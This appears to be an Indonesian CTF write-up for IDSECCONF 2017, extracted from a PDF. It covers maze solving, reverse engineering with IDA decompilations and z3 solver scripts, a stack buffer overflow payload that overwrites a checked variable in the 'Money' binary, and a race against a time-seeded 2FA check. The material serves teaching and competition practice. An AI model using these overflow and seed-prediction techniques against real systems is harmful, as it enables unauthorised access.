Download as pdf or txt
Download as pdf or txt
You are on page 1of 22

WriteUp IDSECCONF 2017

-- b e r d o e z t --

-- h a n u g r a --

Online 1
Misc 1
Dungeon 1
Reverse 3
Logang 3
Darwin 3
Whoami 8

Offline 13
Pwn 13
Proto 13
Money 15
Reverse 16
Nux 16
Misc 20
Low Bit 20

Binary :
https://drive.google.com/open?id=1PAa8JAkZ1hr2TIo0F4AxytOiDWg3S_nw

Online

Misc

Dungeon
Diberikan sebuah service di mana kita harus menyelesaikan sebuah maze. Kita harus
menentukan langkah dari ‘P’ agar dapat menuju ke ‘E’ dengan langkah yang optimum. Jika
terdeteksi tidak optimum, maka program akan langsung keluar. Dan juga, ada lebih dari 1
level yang harus kita selesaikan. Oleh karena itu, buat script sederhana seperti berikut.

#!/usr/bin/env python
from pwn import *

langkah = []

def cetak():
for i in range(len(grid)):
for j in range(len(grid[i])):
print grid[i][j],
print
print

def search(x, y, step = ""):


global langkah

if grid[x][y] == 'E':
print 'found at %d %d' % (x, y)
langkah.append(step)
return True
elif grid[x][y] == '+' or grid[x][y] == '-' or grid[x][y]
== '|':
return False
elif grid[x][y] == 'x':
return False

grid[x][y] = 'x'
langkah.append(step)

if (search(x + 1, y, 'D')) or (search(x, y-1, 'L')) or


(search(x-1, y, 'U')) or (search(x, y+1, 'R')):
return True

langkah.pop()
return False

a = remote('62.4.3.98', 10111)
a.recvuntil('Enter to start')
a.sendline('')
a.recvline()
a.recvline()
while 1:
rows = int(a.recvline().split(':')[1].strip())
cols = int(a.recvline().split(':')[1].strip())
dungeon = []
hasil = a.recvuntil('Enter your move:').split('\n')

pos = hasil[-2]
row_pos = int(pos.split(':')[1].split()[0].strip())
col_pos = int(pos.split(':')[2].strip())
for i in hasil[:-2]:
print i

grid = [[] for i in range(rows)]


for i in range(len(hasil[:-2])):
for j in range(len(hasil[i])):
grid[i].append(hasil[i][j])

search(row_pos, col_pos)
cetak()

langkah = langkah[1:]
for i in langkah:
a.sendline(i)
# print a.recvline()

a.recvuntil('continue.')
a.sendline('')
a.recv()
print a.recv()
print a.recvline()
langkah = []

Flag : flag{pOwer_pOLe_paPAh}

Reverse

Logang
Diberikan binary yg sepertinya dibuat dengan GoLang. Coba jalankan strings terlebih dahulu
untuk melihat apakah ada yang mencurigakan misalnya ‘flag’, ‘{‘, ‘}’. Didapatkan beberapa
string yang diduga flag.

‘flag{’
‘go_rEverse’
‘_aLa_pApah}’

Flag : flag{go_rEverse_aLa_pApah}

Darwin
Diberikan binary Mach-0 i386. Berikut hasil decompile dengan menggunakan IDA.

signed int sub_1D80()


{
char v0; // al@3
signed int result; // eax@9
signed int v2; // [sp+44h] [bp-44h]@1
char v3[32]; // [sp+58h] [bp-30h]@1
int v4; // [sp+78h] [bp-10h]@1

v4 = *(_DWORD *)__stack_chk_guard_ptr;
memset(v3, 0, 0x20u);
printf("Enter the key : ");
fflush((FILE *)*__stdoutp_ptr);
v2 = 0;
fgets(v3, 32, (FILE *)*__stdinp_ptr[0]);
while ( v2 < 32 )
{
v0 = 0;
if ( v3[v2] == 10 )
v0 = -10;
v3[v2++] += v0;
}
if ( sub_1A30((int)v3) )
printf("Congratz, the flag :\nflag{yOu_%s_3v3r}\n", v3);
else
printf("Wrong %s not the key.\n", v3);
result = 7566;
if ( *(_DWORD *)__stack_chk_guard_ptr == v4 )
result = 0;
return result;
}

Pengecekan terdapat pada fungsi sub_1A30(). Jika mengembalikan nilai yang benar, maka
kita akan mendapatkan flagnya yang sebagian sudah diketahui. Berikut hasil decompile
fungsi sub_1A30().

BOOL __cdecl sub_1A30(int a1)


{
int v2; // [sp+1Ch] [bp-5Ch]@25
int v3; // [sp+20h] [bp-58h]@22
int v4; // [sp+2Ch] [bp-4Ch]@13
int v5; // [sp+30h] [bp-48h]@10
int v6; // [sp+34h] [bp-44h]@7
int v7; // [sp+38h] [bp-40h]@4
signed int k; // [sp+40h] [bp-38h]@19
int j; // [sp+44h] [bp-34h]@16
signed int i; // [sp+48h] [bp-30h]@1
signed int v11; // [sp+4Ch] [bp-2Ch]@28
int v12; // [sp+50h] [bp-28h]@1
int v13; // [sp+54h] [bp-24h]@1
int v14; // [sp+58h] [bp-20h]@1
int v15; // [sp+5Ch] [bp-1Ch]@1
signed int v16; // [sp+60h] [bp-18h]@1
signed int v17; // [sp+64h] [bp-14h]@1
signed int v18; // [sp+68h] [bp-10h]@1

v18 = strlen((const char *)a1);


v17 = 0;
v16 = 0;
v15 = 0;
v14 = 0;
v13 = 0;
v12 = 0;
for ( i = 0; i < v18; ++i )
{
if ( i % 2 )
v7 = *(_BYTE *)(a1 + i) ^ v14;
else
v7 = v14;
v14 = v7;
if ( i % 2 == 1 )
v6 = v13;
else
v6 = *(_BYTE *)(a1 + i) ^ v13;
v13 = v6;
if ( i % 2 )
v5 = 0;
else
v5 = *(_BYTE *)(a1 + i);
v17 += v5;
if ( i % 2 == 1 )
v4 = *(_BYTE *)(a1 + i) ^ v15;
else
v4 = v15;
v15 = v4;
}
for ( j = 0; j < v18 / 2; ++j )
v12 ^= *(_BYTE *)(a1 + j);
for ( k = 0; k < v18; ++k )
{
if ( k % 2 )
v3 = *(_BYTE *)(a1 + k);
else
v3 = 0;
v16 += v3;
if ( k % 2 )
v2 = v15;
else
v2 = *(_BYTE *)(a1 + k) ^ v15;
v15 = v2;
}
v11 = sub_19C0((const char *)a1);
return v17 % 10 == 8
&& v16 % 10 == v17 % 10
&& v18 == 13
&& v15 == 90
&& v12 == 21
&& v14 == 56
&& (v16 + v17) / 10 == 116
&& (v16 + 2 * v17) / 10 == 183
&& *(_BYTE *)(a1 + 1) == 51
&& *(_BYTE *)(a1 + 5) == 53
&& *(_BYTE *)(a1 + 8) == 52
&& *(_BYTE *)(a1 + 10) == 55
&& v11 == -45192636;
}

Karena fungsi tersebut harus bernilai 1, maka terdapat aturan - aturan sebagai berikut.
1. Panjang string 13
2. Huruf pertama = chr(51), huruf kelima = chr(53), huruf kedelapan = chr(52), huruf
kesepuluh = chr(55)
3. Penjumlahan index yang ganjil = 498
4. Penjumlahan index yang genap = 668
5. Penjumlahan index yang genap % 10 = 8
6. Penjumlahan index yang genap % 10 = Penjumlahan index yang ganjil % 10
7. Hasil XOR seluruh index yang genap = 98
8. Hasil XOR seluruh index yang ganjil = 56
9. Hasil XOR seluruh 6 index pertama = 21
10. Hasil dari fungsi sub_19c0 = 0xFD4E6A44
11. Seluruh index harus di antara 0 - 255.

Dengan memperhatikan aturan - aturan tersebut, kita dapat menggunakan library z3 agar
lebih mudah. Berikut script yang dibuat.

#!/usr/bin/env python

from z3 import *
import string

dict = string.digits + string.letters

s = Solver()
num = [BitVec(i, 32) for i in range(13)]

#1
s.add(num[1] == 51)
s.add(num[5] == 53)
s.add(num[8] == 52)
s.add(num[10] == 55)
#2
s.add(num [1] + num [3] + num [5] + num [7] + num [9] + num [11]
== 498)
s.add(num [0] + num [2] + num [4] + num [6] + num [8] + num [10]
+ num [12] == 668)

s.add((num [0] + num [2] + num [4] + num [6] + num [8] + num [10]
+ num [12]) % 10 == 8)
s.add((num [0] + num [2] + num [4] + num [6] + num [8] + num [10]
+ num [12]) % 10 == (num [1] + num [3] + num [5] + num [7] + num
[9] + num [11]) % 10)

#3
s.add(num [0] ^ num [2] ^ num [4] ^ num [6] ^ num [8] ^ num [10]
^ num [12] == 98)
s.add(num [1] ^ num [3] ^ num [5] ^ num [7] ^ num [9] ^ num [11]
== 56)
s.add(num [0] ^ num [1] ^ num [2] ^ num [3] ^ num [4] ^ num [5]
== 21)

#4
coba = 23
for i in range(13):
coba = ( (num[i] << i) + 7 * coba) & 0xffffffff
coba = (coba >> 4 ) & 0xffffffff

s.add(coba == 0xFD4E6A44)

#5
for i in range(13):
s.add(num[i] >= 0)
s.add(num[i] <= 255)

print s.check()
print s.model()

Setelah dijalankan didapatkan

➤ python darwin.py
sat
[k!12 = 74,
k!11 = 34,
k!9 = 142,
k!7 = 180,
k!6 = 30,
k!4 = 224,
k!3 = 38,
k!2 = 74,
k!0 = 159,
k!10 = 55,
k!8 = 52,
k!5 = 53,
k!1 = 51]

Yang kemudian didapatkan r3ver5eM4s7er.

Flag : flag{yOu_r3ver5eM4s7er_3v3r}

Whoami
Diberikan sebuah binary Windows 32 bit. Berikut hasil decompile fungsi main. Ketika
program dijalankan, akan keluar sebuah pop - up yang menyatakan jika flag salah.

void __noreturn start()


{
DWORD v0; // eax@1
DWORD v1; // ecx@1
int v2; // ecx@4
CHAR *v3; // edi@4
int v4; // edx@4
int v5; // ebx@4
int v6; // esi@4
_UNKNOWN *v7; // edi@4
signed int v8; // ecx@4
char v9; // al@5
int v10; // eax@6
signed int v11; // ecx@6
int v12; // edx@6
int v13; // esi@6
int v14; // eax@6
_UNKNOWN *v15; // edi@6
const CHAR *v16; // ecx@9
const CHAR *v17; // edx@9

v0 = GetModuleFileNameA(0, Filename, 0x104u);


v1 = v0;
do
{
if ( Filename[v1] == 92 )
break;
--v1;
}
while ( v1 );
v2 = v1 + 1;
v3 = &Filename[v2];
v4 = 4 * (unsigned __int64)((v0 - v2) % 11i64);
*(&Filename[v2] + v0 - v2 - v4) = 0;
v5 = v0 - v2 - v4;
sub_403274();
sub_4032D0(v3, v5);
v6 = sub_403344();
sub_4010B9();
v7 = &unk_405000;
v8 = 32;
do
{
v9 = *(_BYTE *)v6++;
*(_BYTE *)v7 ^= v9;
v7 = (char *)v7 + 1;
--v8;
}
while ( v8 );
sub_4016E8();
sub_401728(&unk_405000, 32);
v10 = sub_401788();
v11 = 16;
v12 = 0;
v13 = v10;
v14 = 0;
v15 = &unk_405021;
do
{
LOBYTE(v14) = *(_BYTE *)v13++;
LOBYTE(v14) = *(_BYTE *)v15 ^ v14;
v15 = (char *)v15 + 1;
v12 += v14;
--v11;
}
while ( v11 );
if ( v12 )
{
v16 = Caption;
v17 = Caption;
}
else
{
v16 = (const CHAR *)&unk_405000;
v17 = aNiceGanIniFlag;
}
MessageBoxA(0, v16, v17, 0);
ExitProcess(0);
}

Secara sekilas, dapat dikatakan bahwa jika nama filenya benar, maka pop - up yang muncul
adalah flagnya. Dengan kata lain, kita harus mencari nama file yang benar.
Beberapa hal yang menarik adalah, terdapat pengisian beberapa konstanta pada fungsi
sub_403274() dan sub_4016e8(). Setelah googling, didapatkan bahwa untuk fungsi
sub_403274() merupakan pengisian nilai awal sha256(), sedangkan fungsi sub_4016e8()
merupakan pengisian nilai awal md5(). Oleh karena itu, dapat diduga juga fungsi yang
memiliki instruksi _ROR_ dan _ROL_ yang terdapat di dalam binary merupakan proses
hashingnya untuk kedua hash yang digunakan tersebut. Hal ini dapat dilihat dari
penggunaan konstanta - konstanta tersebut.

Dengan demikian, agar lebih mudah dibaca, kita dapat mengganti nama untuk beberapa
fungsi pada IDA.

void __noreturn start()


{
DWORD fullpathlen; // eax@1
DWORD i; // ecx@1
int dirnamelen; // ecx@4
const char *exename; // edi@4
int v4; // edx@4
unsigned int panjang_exename; // ebx@4
__int64 v6; // rax@4
int v7; // esi@4
_UNKNOWN *v8; // edi@4
signed int v9; // ecx@4
char v10; // al@5
int v11; // eax@6
signed int v12; // ecx@6
int v13; // edx@6
int v14; // esi@6
int v15; // eax@6
_UNKNOWN *v16; // edi@6
const CHAR *v17; // ecx@9
const CHAR *v18; // edx@9

fullpathlen = GetModuleFileNameA(0, Filename, 260u);


i = fullpathlen;
do
{
if ( Filename[i] == '\\' )
break;
--i;
}
while ( i );
dirnamelen = i + 1;
exename = &Filename[dirnamelen];
v4 = 4 * ((fullpathlen - dirnamelen) % 11i64);
*(&Filename[dirnamelen] + fullpathlen - dirnamelen - v4) = 0;//
memisahkan nama dengan ekstensinya
panjang_exename = fullpathlen - dirnamelen - v4;
isiconstant(); // sha2_init
copy_exename_ke_tampungan(exename, panjang_exename);
v7 = ngehash_dan_puter_little_endian_jadi_big_endian(v6);
bandingkan_hasil_sha2(v7);
v8 = &konstanta;
v9 = 32;
do
{
v10 = *v7++;
*v8 ^= v10;
v8 = v8 + 1;
--v9;
}
while ( v9 );
isiconstant2(); // md5_init
copy_ke_eta2(&konstanta, 32u);
v11 = ngehash_md5();
v12 = 16;
v13 = 0;
v14 = v11;
v15 = 0;
v16 = &target_md5_hash;
do
{
LOBYTE(v15) = *v14++;
LOBYTE(v15) = *v16 ^ v15;
v16 = v16 + 1;
v13 += v15;
--v12;
}
while ( v12 );
if ( v13 )
{
v17 = Caption;
v18 = Caption;
}
else
{
v17 = &konstanta;
v18 = aNiceGanIniFlag;
}
MessageBoxA(0, v17, v18, 0);
ExitProcess(0);
}

Analisa lebih lanjut mendapatkan beberapa catatan :


1. Nama file akan dilakukan hashing sha256().
2. Dilakukan pengecekan hasil sha256() tersebut.
3. Hasil sha256() akan diXOR dengan konstanta untuk mendapatkan flag.
4. Hasil XOR antara sha256 dan konstanta tersebut kemudian akan dihashing dengan
md5() dan dicek apakah sesuai dengan target_md5_hash.
Pengecekan hasil sha256() harus mengikuti aturan berikut.

void __usercall bandingkan_hasil_sha2(int a1@<esi>)


{
signed int i; // ebx@1

for ( i = 0; i < 25 && (*(byte_405037[i] + a1) ^


*(byte_405031[i % 6] + a1)) == target_xor_sha2[i]; ++i )
;
}

Hasil XOR ini diduga haruslah selesai sampai dengan index 24 untuk mendapatkan
sha256() yang tepat.

Kita dapat langsung mendapatkan flagnya tanpa harus mengetahui nama filenya terlebih
dahulu. Hal ini dikarenakan poin 3 dan juga poin 2 dengan memanfaatkan asumsi bahwa
flag pasti diawali dengan ‘flag{’ dan diakhiri oleh ‘}’. Dengan adanya asumsi tersebut,
pengecekan kita akan mendapatkan 5 byte pertama dan 1 byte terakhir dari sha256(). Byte -
byte yang didapatkan tersebut sudah cukup untuk mendapatkan kembali byte - byte lain dari
sha256() sehingga kita dapat melakukan XOR dengan konstanta. Perlu diperhatikan, bahwa
pada byte ke 22 tidak dilakukan pengecekan sha256() dikarenakan memang for loop hanya
sampai index ke 24, sementara pengecekan byte ke 22 ada di index ke 25. Tapi tidak
masalah, kita dapat ‘menebaknya’ nanti. Berikut script sederhana yang coba dibuat.

#!/usr/bin/env python

sha256 = [[] for i in range(32)]

# Pengecekan sha256()
a = [2,4,0,3,0x1f,1]
b = [0x13,8, 0x0E,
0x0B,0x18,0x0D,0x1B,0x11,5,0x14,0x17,0x1E,0x19,0x0C,0x1C,0x10,9,0
x1D,0x1A,0x0F,7,0x15,0x0A,0x12,6,0x16]
c = [0x0C9,0x0E0,0x0D8,0x9F,0x25,0x0FD,0x0AB,0x99,0x0C8,
0x1E,0x3A, 0x0B5, 0x5C, 0x4C, 0x0BB, 0x0B,0x1E,0x2D, 0x1C,0x3C,
0x22, 0x3E, 0x0B0, 0x0DC,0xD8]

konstanta = [0x67, 0x72, 0x9F,


0x0C7,0x0B1,0x96,0x72,0x4B,0x19,0x82,0x35,0x0C,0x0E7,0x0D6,0x0AD,
0x0A9,0x9F,0x3D,0x0A6,0x68,0x89,0x0F6,0x25,0x0A6,0x0A0,0x96,0x8F,
0x64,0x0D4,0x56,0x0F4,0x0BE]

flag = 'flag{'
for i in range(len(flag)):
sha256[i] = ord(flag[i]) ^ (konstanta[i])

sha256[-1] = ord('}') ^ konstanta[-1]


for i in range(len(b) - 1):
sha256[b[i]] = sha256[a[i % 6]] ^ c[i]

hasil = ''
for i in range(len(sha256)):
if sha256[i] != []:
hasil += chr((sha256[i]) ^ (konstanta[i]))
else:
hasil += 'e' # my guess (bisa aja E atau 3)

print hasil

Perlu diketahui juga, tebakan huruf ‘e’ ini didapatkan dikarenakan melihat flagnya.
Sebenarnya bisa saja dicek dengan md5 untuk lebih pasti, namun tidak dilakukan.
Didapatkan hasilnya

➤ python siapa.py
flag{_Th3_F3a5t_4nd_7he_F4m1ne_}
Flag : flag{_Th3_F3a5t_4nd_7he_F4m1ne_}

Offline

Pwn

Proto
Diberikan sebuah binary 32 bit ELF yang dapat menerima request POST dan GET. Berikut
hasil decompile untuk fungsi terima().

int __cdecl terima(int fd)


{
char *v1; // eax@27
char *v2; // eax@35
int v4; // [sp+10h] [bp-878h]@1
unsigned int v5; // [sp+14h] [bp-874h]@1
unsigned int v6; // [sp+14h] [bp-874h]@10
unsigned int i; // [sp+18h] [bp-870h]@1
signed int v8; // [sp+1Ch] [bp-86Ch]@1
int j; // [sp+20h] [bp-868h]@1
int v10; // [sp+24h] [bp-864h]@28
int v11; // [sp+34h] [bp-854h]@34
char s1[255]; // [sp+7Eh] [bp-80Ah]@2
char v13[255]; // [sp+17Dh] [bp-70Bh]@15
char s[512]; // [sp+27Ch] [bp-60Ch]@26
char s2[1024]; // [sp+47Ch] [bp-40Ch]@1
int v16; // [sp+87Ch] [bp-Ch]@1

v16 = *MK_FP(__GS__, 20);


v8 = 0;
j = 0;
v4 = get_line(fd, (int)s2, 1024);
v5 = 0;
for ( i = 0; !((*__ctype_b_loc())[s2[i]] & 0x2000) && v5 <=
0xFD; ++i )
s1[v5++] = s2[i];
s1[v5] = 0;
if ( !strcasecmp(s1, "GET") || !strcasecmp(s1, "POST") )
{
if ( !strcasecmp(s1, "POST") )
v8 = 1;
v6 = 0;
while ( (*__ctype_b_loc())[s2[i]] & 0x2000 && i <= 0x3FF )
++i;
while ( !((*__ctype_b_loc())[s2[i]] & 0x2000) && v6 <= 0xFD
&& i <= 0x3FF )
v13[v6++] = s2[i++];
v13[v6] = 0;
if ( !strcasecmp(s1, "GET") )
{
for ( j = (int)v13; *(_BYTE *)j != 63 && *(_BYTE *)j; ++j )
;
if ( *(_BYTE *)j == 63 )
{
v8 = 1;
*(_BYTE *)j++ = 0;
}
}
sprintf(s, "hmmm%s", v13);
if ( s[strlen(s) - 1] == 47 )
{
v1 = &s[strlen(s)];
*(_DWORD *)v1 = 1701080681;
*((_DWORD *)v1 + 1) = 1952984696;
*((_WORD *)v1 + 4) = 27757;
v1[10] = 0;
}
if ( stat(s, (int)&v10) == -1 )
{
while ( v4 > 0 && strcmp("\n", s2) )
v4 = get_line(fd, (int)s2, 1024);
not_found(fd);
}
else
{
if ( (unsigned __int16)(v11 & 0xF000) == 0x4000 )
{
v2 = &s[strlen(s)];
*(_DWORD *)v2 = 1684957487;
*((_DWORD *)v2 + 1) = 1747875941;
*((_DWORD *)v2 + 2) = 7105908;
}
if ( v11 & 0x40 || v11 & 8 || v11 & 1 )
v8 = 1;
if ( v8 )
eksekusi(fd, (int)s, (int)s1, j);
else
serve_file(fd, (int)s);
}
close(fd);
}
else
{
unimplemented(fd);
}
return *MK_FP(__GS__, 20) ^ v16;
}

Somehow, jika dicoba dikirimkan “POST” lalu dienter, akan muncul semua filenya dan
terdapat flagnya.

Money
Diberikan sebuah binary 32 bit ELF yang memiliki fungsi utama sebagai berikut.

int sub_8048811()
{
int v0; // eax@1
int result; // eax@2
__int16 v2; // [sp+1Eh] [bp-22h]@1
_BYTE v3[3]; // [sp+2Dh] [bp-13h]@1
int v4; // [sp+3Ch] [bp-4h]@1

sub_80487FD();
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "Give
money address!! : \n");
std::ostream::operator<<(v0, (const char
*)&std::endl<char,std::char_traits<char>>);
std::operator>><char,std::char_traits<char>>(&std::cin, &v2);
v4 = 0;
strcpy(v3, (const char *)&v2);
puts(" Best Money 0x70fee061");
printf(" Your Money 0x%08x\n", v4);
if ( v4 == 0x70FEE061 )
{
puts("\n The Gold");
system("cat flag.txt");
result = 0;
}
else
{
puts("\n Bad Money");
result = 0;
}
return result;
}

Terlihat bahwa jika v4 bernilai 0x70fee061, maka akan didapatkan flagnya. V4 berada di
bawah v3 yang merupakan hasil pengcopian dari v2 yang adalah inputan kita. Jarak antara
v4 dan v3 adalah 15. Sehingga kita bisa memberikan payload seperti berikut untuk
mendapatkan flag.

➤ python -c "print '\x61\xe0\xfe\x70'*4" | ./money

Reverse

Nux
Diberikan sebuah binary 64 bit ELF yang dipack menggunakan UPX. Unpack terlebih dahulu
agar mudah untuk dianalisa. Jika program tersebut dijalankan, didapatkan seperti berikut.

➤ ./nux
[+] Initializing Engine Version 5.8.283.38
[+] Please type 2FA to start the engine : 123
[-] Failed to authenticate !
[+] Please type 2FA to start the engine : 123
[-] Failed to authenticate !
[+] Please type 2FA to start the engine : 123
[-] Failed to authenticate !
[-] Our last generated 2FA is 848628
[-] Immortal Joe : *aargh... Mediocre..!!
[-] Crashing...

Setelah distrings, didapatkan ada sebuah string ‘[+] Congratulations : flag{‘ pada binary.
Sepertinya ini lah tujuan kita. Namun jika kita decompile, banyak sekali pengecekan yang
dilkakuan. Selain itu, banyak juga ‘sampah’ yang sepertinya IDA salah menginterpretasinya.
Hal ini menyebabkan analisa menjadi semakin sulit.

Namun, pada bagian awal program dijalankan, terdapat bagian yang cukup menarik.

​v29 = time(0LL);
srand(v29);
v30 = v148;
v31 = rand();
LODWORD(v32) = sub_43C510(v30, 32 * (v31 - ((((unsigned
int)(v31 >> 31) >> 24) + v31) & 0x7FFFF00)));
v114 = v32;
v320 = v32;
v319 = &v115;
v321 = &v320;
v115 = v32;

Sepertinya bagian tersebut membuat sebuah bilangan acak dengan seed time. Artinya
setiap detik, akan berbeda - beda hasil nilai randomnya.

Karena membaca hasil decompile sangat sulit, maka dicoba dilakukan blackbox testing.
Pada program, jika kita masukkan berapa pun, maka akan muncul tulisan ‘Failed’. Namun
yang membedakan adalah di akhir program akan muncul sebuah nilai, misal seperti contoh
di atas yaitu 848628. Mungkin ada hubungannya dengan nilai random yang digenerate di
atas. Dicoba dijalankan berkali - kali program tersebut dengan script berikut.

!/usr/bin/env python
from pwn import *

while 1:
a = process('./nux')
print a.recv()

for i in range(3):
a.sendline('1')
print a.recv()
a.close()

Didapatkan hasil berikut

➤ python nux.py
[+] Starting local process './nux': pid 1115
[+] Initializing Engine Version 5.8.283.38
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[-] Our last generated 2FA is 155558
[-] Immortal Joe : *aargh... Mediocre..!!
[-] Crashing...

[*] Stopped process './nux' (pid 1192)


[+] Starting local process './nux': pid 1197
[+] Initializing Engine Version 5.8.283.38
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[-] Our last generated 2FA is 155558
[-] Immortal Joe : *aargh... Mediocre..!!
[-] Crashing...
.
.
.
.
[*] Stopped process './nux' (pid 1197)
[+] Starting local process './nux': pid 1202
[+] Initializing Engine Version 5.8.283.38
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[-] Our last generated 2FA is 826697
[-] Immortal Joe : *aargh... Mediocre..!!
[-] Crashing...

[*] Process './nux' stopped with exit code 1 (pid 1207)


[+] Starting local process './nux': pid 1213
[+] Initializing Engine Version 5.8.283.38
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[-] Our last generated 2FA is 826697
[-] Immortal Joe : *aargh... Mediocre..!!
[-] Crashing...

Dari percobaan di atas, terlihat bahwa waktu yang sama yaitu untuk detik yang sama,
program menghasilkan nilai 2FA yang sama. Dan sepertinya, memang kita harus menebak
nilai 2FA ini karena di awal diminta untuk memasukkan nilai 2FA. Jadi kita hanya perlu
menebak nilai 2FA ini untuk mendapatkan flagnya. Namun, nilai random tersebut muncul di
akhir. Sementara, kita harus menebaknya di awal.

Cara yang paling mudah yang terpikirkan adalah dengan menggunakan threading.
Dikarenakan program akan menghasilkan nilai random yang sama pada waktu yang
bersamaan, maka jika kita memiliki 2 program yang berjalan bersamaan, tentu nilai
randomnya akan sama. Program pertama akan dijalankan sampai selesai sehingga
didapatkan nilai randomnya. Lalu nilai random ini akan dimasukkan ke program yang kedua
sebanyak 3 kali. Asumsi ini juga semakin diperkuat dengan hint dari panitia yang
menyebutkan ‘Javascript’. Mungkin saja akan didapatkan flag. Mari kita coba dengan script
sederhana berikut.

#!/usr/bin/env python

from pwn import *


import thread

temp = -1

def b(x):
global temp
a = process('./nux')
if x:
while temp == -1:
continue
a.recv()
for i in range(3):
a.sendline(temp)
print a.recv()
else:
for i in range(2):
a.sendline('1')
a.recv()

a.sendline('1')
hasil = a.recv()
# global temp
temp = hasil.split('\n')[1].split('is')[1].strip()

thread.start_new_thread(b, (0,))
thread.start_new_thread(b, (1,))

while 1:
pass

Dicoba dijalankan
➤ python nux.py
[+] Starting local process './nux': pid 2921
[+] Starting local process './nux': pid 2923
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[-] Failed to authenticate !
[+] Please type 2FA to start the engine :
[+] Congratulations : flag{3t3rnal_Sh1nY_&_Chr0m3}

Traceback (most recent call last):


File "nux.py", line 32, in <module>
pass
KeyboardInterrupt
[*] Process './nux' stopped with exit code 1 (pid 2921)
[*] Process './nux' stopped with exit code 1 (pid 2923)

Yap, berhasil didapatkan flagnya.


Flag : flag{3t3rnal_Sh1nY_&_Chr0m3}

Misc

Low Bit
DIberikan sebuah file main.ino.hex.zip, setelah di extract dan ditemukan file main.ino.hex

lalu dibuka dengan text editor

:100000000C943E000C945B000C945B000C945B0021
:100010000C945B000C945B000C945B000C945B00F4
:100020000C945B000C945B000C945B000C945B00E4
:100030000C945B000C945B000C945B000C945B00D4
:100040000C945B000C945B000C945B000C945B00C4
:100050000C945B000C945B000C945B000C945B00B4
:100060000C945B000C945B000C945B000C945B00A4
:100070000C945B000C945B000C945B0011241FBE7D


...

setelah searching ditemukan bahwa ini merupakan sebuah Intel HEX1

Ubah file hex menjadi binary


objcopy -I ihex main.ino.hex -O binary hasil.bin

1
​https://en.wikipedia.org/wiki/Intel_HEX
ditemukan bahwa file tidak jelas isi dan file signaturenya

Coba lakukan bruteforce XOR per byte file dengan 1 byte integer hingga ditemukan sebuah
string flag

Solver.py

#!/usr/bin/env python
test = []
string_flag = ​''
j = ​0

with​ open(​"hasil.bin"​, ​"rb"​) ​as​ f:


byte = f.read(​1​)
​while​ byte != ​""​:
test.append(byte)
byte = f.read(​1​)

​ ​:
while​ 1
for​ i i​ n​ test:
string_flag += chr(ord(i)^j)
if​ ​"flag"​ ​in​ string_flag:
print​ string_flag
print​ ​"XOR dengan "​,j
break
else​:
j+=​1

# flag{7h3re_15_N0th1ng_l3f7_70_l0s3}

You might also like